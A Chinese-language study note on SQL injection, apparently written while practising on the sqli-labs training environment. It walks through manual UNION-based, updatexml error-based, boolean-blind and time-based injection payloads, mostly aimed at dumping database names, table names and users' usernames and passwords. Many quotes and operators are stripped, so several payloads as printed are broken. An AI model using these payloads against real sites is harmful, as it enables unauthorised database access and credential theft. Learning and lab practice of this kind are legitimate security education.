日常记录:SQL学习总结
一、什么是SQL注入SQL注入就是通过把恶意SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串最终达到欺骗服务器使数据库执行恶意SQL命令目的的入侵行为。关键闭合原有 SQL 语句构造恶意新语句。二、SQL注入漏洞分类三、常见函数报错函数extractvalue、updatexml、exp、GTID_SUBSET()等。截取函数left、mid、substrsubstring、substrB。判断函数if、case when。其他函数ascii、length。数据库常见函数四、SQL手工注入实操一完整手动注入步骤1.判断是否存在 SQL 注入手动测试输入字段在Web应用的输入字段如登录框、搜索框中尝试输入特殊字符或SQL片段观察系统响应。常见的测试输入包括单引号、双引号、分号;或逻辑运算符如OR 11。如果系统返回数据库错误信息或异常行为可能存在漏洞。判断注入点闭合方式以sqli靶场做练习范例第一关输入?id1会发现有报错程序无法正常从数据库中查询出数据就会抛出异常和回显从回显就能推测数据库中应该是id$id 这就是字符型。输入?id1 and 11页面有返回输入?id1 and 12页面有返回第二关输入?id1有报错从回显能推测数据库中应该是id$id,这就是数字型。输入?id1 and 11输入?id1 and 122.判断字段数第一关为例用order by?id1order by 4--?id1order by 3--确定列数为33.确定回显位置这里用union select?id-1 union select 1,2,3--能够确定2,3回显位4.爆库名 → 爆表名 → 爆字段名 → 爆数据二常见SQL注入方式联合查询注入使用UNION的注入这种情况多半是有回显的时候。?id-1 union select 1,database(),user()--爆库名?id-1union select 1,2,group_concat(schema_name) from information_schema.schemata--//查询所有的数据库的名字爆表名?id-1union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)--//查询security库里所有表名爆字段名?id-1union select 1,2,(select group_concat(column_name) from information_schema.columns where table_nameusers)--//查询users表的列名 (因为我们安装过dvwa所以这里查询的users表有两个一个dvwa里面的users表一个是sqli里面的users表故爆出的列名很多。)解决方法指定数据库、数据表?id-1union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers)--爆数据?id-1union select 1,2,(select group_concat(username,~,password) from security.users)--//查询users表里的数据得到所有的用户名、密码报错注入mysql5.1.5版本中添加了extractvalue()、updatexml()函数它们两个分别能够对XML文档进行查询、修改操作。SQL报错注入的应用当使用extractvalue(xml_frag, xpath_expr)函数时若xpath_expr参数不符合xpath格式就会报错。而~符号(ascii编码值0x7e)是不存在xpath格式中的 所以一旦在xpath_expr参数中使用~符号就会产生xpath syntax error (xpath语法错误)通过使用这个方法就可以达到报错注入的目的。爆库名报错函数用updatexml():为例?id-1 and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--报错已经成功爆出了部分数据库名但因为updatexml/extractvalue有32 字符长度限制所以内容被截断了。用right()从后面截取?id-1 and updatexml(1,concat(0x7e,right((select group_concat(schema_name) from information_schema.schemata),30),0x7e),1)--这样就查到所有库名爆表名?id-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)),1)--//查询security库下所有表名爆字段名?id-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers)),1)-- //查询users表下所有字段名爆数据因为报错显示位有限用limit来看每个账户和密码?id-1 and updatexml(1,concat(0x7e,(select concat(username,^,password) from security.users limit 7,1)),1)--盲注注入布尔盲注Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。判断数据库名的长度?id1and length((select database()))9--利用bp抓包爆破出来数据库名长度为8?id1and%20substr(database(),3,1)c数据库名字是security时间盲注界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数sleep通过查看web页面返回的时间差来判断注入的语句是否正确。?id-1||if(substr(database(),1,1)1,sleep(10),sleep(0))-- //查数据库名1、and length((select database()))8//判断当前数据库长度2、and length((select group_concat(table_name) from information_schema.tables where table_schemasecurity))29//判断所有表的长度3、and length((select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers))20//判断users表中字段的长度4、and length((select concat(username,password) from security.users limit 7,1))10 //判断user表第八行数据总位数username、password得到相应的长度后使用bp爆破相应的数据and substr((select concat(username,password) from security.users limit 7,1),1,1)aUA注入/referer注入/dnslog外带cookie注入宽字节注入堆叠注入